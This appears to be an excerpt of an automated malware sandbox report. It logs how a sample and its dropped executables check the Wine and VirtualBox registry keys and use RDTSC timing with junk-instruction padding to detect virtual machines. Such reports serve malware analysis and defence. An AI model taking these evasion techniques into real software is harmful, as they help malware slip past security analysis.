Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB06F second address: CAB073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB073 second address: CAB07B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB07B second address: CAB095 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FA6B14AD586h 0x00000009 jmp 00007FA6B14AD58Ch 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB095 second address: CAB099 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB1BE second address: CAB1E8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnl 00007FA6B14AD586h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push edi 0x00000010 jno 00007FA6B14AD586h 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FA6B14AD591h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB33E second address: CAB348 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA6B11DE256h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB477 second address: CAB47B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB47B second address: CAB47F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB47F second address: CAB489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB489 second address: CAB48D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB48D second address: CAB493 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB493 second address: CAB4DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 jnc 00007FA6B11DE262h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA6B11DE261h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FA6B11DE25Ah 0x0000001c jmp 00007FA6B11DE261h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB4DD second address: CAB4E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB797 second address: CAB79B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB79B second address: CAB7A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB8FD second address: CAB90F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA6B11DE256h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FA6B11DE256h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADA90 second address: CADAD7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA6B14AD58Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b ja 00007FA6B14AD58Eh 0x00000011 push eax 0x00000012 jns 00007FA6B14AD586h 0x00000018 pop eax 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push edi 0x0000001e jns 00007FA6B14AD588h 0x00000024 pop edi 0x00000025 mov eax, dword ptr [eax] 0x00000027 push ebx 0x00000028 je 00007FA6B14AD58Ch 0x0000002e jp 00007FA6B14AD586h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push ebx 0x0000003e pop ebx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADAD7 second address: CADAE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE25Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADB51 second address: CADB6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD58Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FA6B14AD586h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADB6C second address: CADB75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADB75 second address: CADBC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D1C1Eh], ecx 0x0000000d push 00000000h 0x0000000f jmp 00007FA6B14AD58Eh 0x00000014 call 00007FA6B14AD589h 0x00000019 jng 00007FA6B14AD58Ah 0x0000001f push eax 0x00000020 jl 00007FA6B14AD594h 0x00000026 mov eax, dword ptr [esp+04h] 0x0000002a push eax 0x0000002b push edx 0x0000002c push ecx 0x0000002d pushad 0x0000002e popad 0x0000002f pop ecx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADBC4 second address: CADBCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FA6B11DE256h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADBCE second address: CADBEF instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA6B14AD586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push eax 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop eax 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b jbe 00007FA6B14AD586h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADBEF second address: CADC7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE268h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a je 00007FA6B11DE256h 0x00000010 pop esi 0x00000011 popad 0x00000012 pop eax 0x00000013 mov dword ptr [ebp+122D1DE0h], edx 0x00000019 push 00000003h 0x0000001b call 00007FA6B11DE263h 0x00000020 jc 00007FA6B11DE25Ch 0x00000026 mov ecx, dword ptr [ebp+122D28DCh] 0x0000002c pop ecx 0x0000002d add dx, 8C27h 0x00000032 push 00000000h 0x00000034 mov edi, ecx 0x00000036 push 00000003h 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b call 00007FA6B11DE258h 0x00000040 pop edi 0x00000041 mov dword ptr [esp+04h], edi 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc edi 0x0000004e push edi 0x0000004f ret 0x00000050 pop edi 0x00000051 ret 0x00000052 mov di, 3062h 0x00000056 mov edi, dword ptr [ebp+122D29C0h] 0x0000005c push FC2AF176h 0x00000061 jbe 00007FA6B11DE260h 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADCFF second address: CADD04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADD04 second address: CADDB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b or edx, 526D656Ch 0x00000011 push 00000000h 0x00000013 mov ecx, dword ptr [ebp+122D2A38h] 0x00000019 push C763256Fh 0x0000001e pushad 0x0000001f jne 00007FA6B11DE25Ch 0x00000025 ja 00007FA6B11DE25Ch 0x0000002b popad 0x0000002c add dword ptr [esp], 389CDB11h 0x00000033 push esi 0x00000034 or di, 9196h 0x00000039 pop esi 0x0000003a push 00000003h 0x0000003c push 00000000h 0x0000003e jmp 00007FA6B11DE25Ch 0x00000043 push 00000003h 0x00000045 mov edi, 3089AF75h 0x0000004a cmc 0x0000004b push 8E668536h 0x00000050 jg 00007FA6B11DE269h 0x00000056 jmp 00007FA6B11DE263h 0x0000005b xor dword ptr [esp], 4E668536h 0x00000062 mov ecx, dword ptr [ebp+122D29ECh] 0x00000068 lea ebx, dword ptr [ebp+124529A0h] 0x0000006e mov dx, si 0x00000071 xchg eax, ebx 0x00000072 pushad 0x00000073 jmp 00007FA6B11DE265h 0x00000078 push eax 0x00000079 push edx 0x0000007a push esi 0x0000007b pop esi 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADDB1 second address: CADDCE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA6B14AD592h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADDCE second address: CADDDB instructions: 0x00000000 rdtsc 0x00000002 je 00007FA6B11DE256h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADE7D second address: CADEA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007FA6B14AD58Ch 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FA6B14AD590h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADEA8 second address: CADED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA6B11DE256h 0x0000000a popad 0x0000000b pop edx 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007FA6B11DE25Fh 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 ja 00007FA6B11DE264h 0x0000001d pushad 0x0000001e jnl 00007FA6B11DE256h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADED8 second address: CADF64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov edi, dword ptr [ebp+122D2A0Ch] 0x0000000c push 00000003h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FA6B14AD588h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 add dword ptr [ebp+122D1B99h], esi 0x0000002e mov edi, dword ptr [ebp+122D1B8Dh] 0x00000034 push 00000000h 0x00000036 add dword ptr [ebp+122D19A2h], edx 0x0000003c and esi, 5C375C97h 0x00000042 push 00000003h 0x00000044 pushad 0x00000045 jmp 00007FA6B14AD599h 0x0000004a mov ax, 3F05h 0x0000004e popad 0x0000004f mov edi, dword ptr [ebp+122D281Ch] 0x00000055 call 00007FA6B14AD589h 0x0000005a push esi 0x0000005b ja 00007FA6B14AD588h 0x00000061 push eax 0x00000062 pop eax 0x00000063 pop esi 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007FA6B14AD58Bh 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADF64 second address: CADF6E instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA6B11DE25Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADF6E second address: CADF90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA6B14AD596h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADF90 second address: CADFAC instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA6B11DE25Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d pushad 0x0000000e js 00007FA6B11DE256h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADFAC second address: CAE00C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jnl 00007FA6B14AD590h 0x00000010 pop eax 0x00000011 push esi 0x00000012 mov ecx, dword ptr [ebp+122D275Ch] 0x00000018 pop edx 0x00000019 lea ebx, dword ptr [ebp+124529ABh] 0x0000001f push 00000000h 0x00000021 push ebx 0x00000022 call 00007FA6B14AD588h 0x00000027 pop ebx 0x00000028 mov dword ptr [esp+04h], ebx 0x0000002c add dword ptr [esp+04h], 00000018h 0x00000034 inc ebx 0x00000035 push ebx 0x00000036 ret 0x00000037 pop ebx 0x00000038 ret 0x00000039 mov dword ptr [ebp+122D2731h], ecx 0x0000003f xchg eax, ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FA6B14AD58Eh 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C968D7 second address: C968E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C968E3 second address: C968E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C968E7 second address: C96905 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA6B11DE256h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FA6B11DE25Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C96905 second address: C96923 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD591h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push esi 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC876 second address: CCC885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FA6B11DE260h 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC9EC second address: CCC9F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCCD4D second address: CCCD53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD145 second address: CCD153 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FA6B14AD58Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD153 second address: CCD159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD159 second address: CCD166 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007FA6B14AD586h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD166 second address: CCD16C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD16C second address: CCD19E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA6B14AD592h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA6B14AD594h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD19E second address: CCD1B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE263h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD1B9 second address: CCD1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD1BF second address: CCD1C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD1C3 second address: CCD1CD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD1CD second address: CCD1D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD67D second address: CCD689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD689 second address: CCD6B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jbe 00007FA6B11DE258h 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007FA6B11DE265h 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD6B1 second address: CCD6B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD80C second address: CCD810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD810 second address: CCD814 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD814 second address: CCD81A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCDB0E second address: CCDB12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCDB12 second address: CCDB45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FA6B11DE258h 0x0000000c jmp 00007FA6B11DE266h 0x00000011 popad 0x00000012 jnp 00007FA6B11DE266h 0x00000018 push eax 0x00000019 push edx 0x0000001a jno 00007FA6B11DE256h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D5A5 second address: C9D5AF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA6B14AD586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D5AF second address: C9D5DA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA6B11DE25Ch 0x00000008 jp 00007FA6B11DE256h 0x0000000e jmp 00007FA6B11DE267h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push edi 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0BD3 second address: CD0BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0BD9 second address: CD0BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD307A second address: CD307E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD31D5 second address: CD31D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD31D9 second address: CD31DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDA025 second address: CDA02F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA6B11DE256h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDA02F second address: CDA050 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 ja 00007FA6B14AD586h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007FA6B14AD593h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9921 second address: CD994B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE269h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA6B11DE25Bh 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD994B second address: CD997E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 je 00007FA6B14AD586h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jmp 00007FA6B14AD58Bh 0x00000019 jl 00007FA6B14AD586h 0x0000001f popad 0x00000020 jnp 00007FA6B14AD58Ah 0x00000026 pushad 0x00000027 popad 0x00000028 pushad 0x00000029 popad 0x0000002a push ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD997E second address: CD9984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9C07 second address: CD9C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9C0B second address: CD9C0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9C0F second address: CD9C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
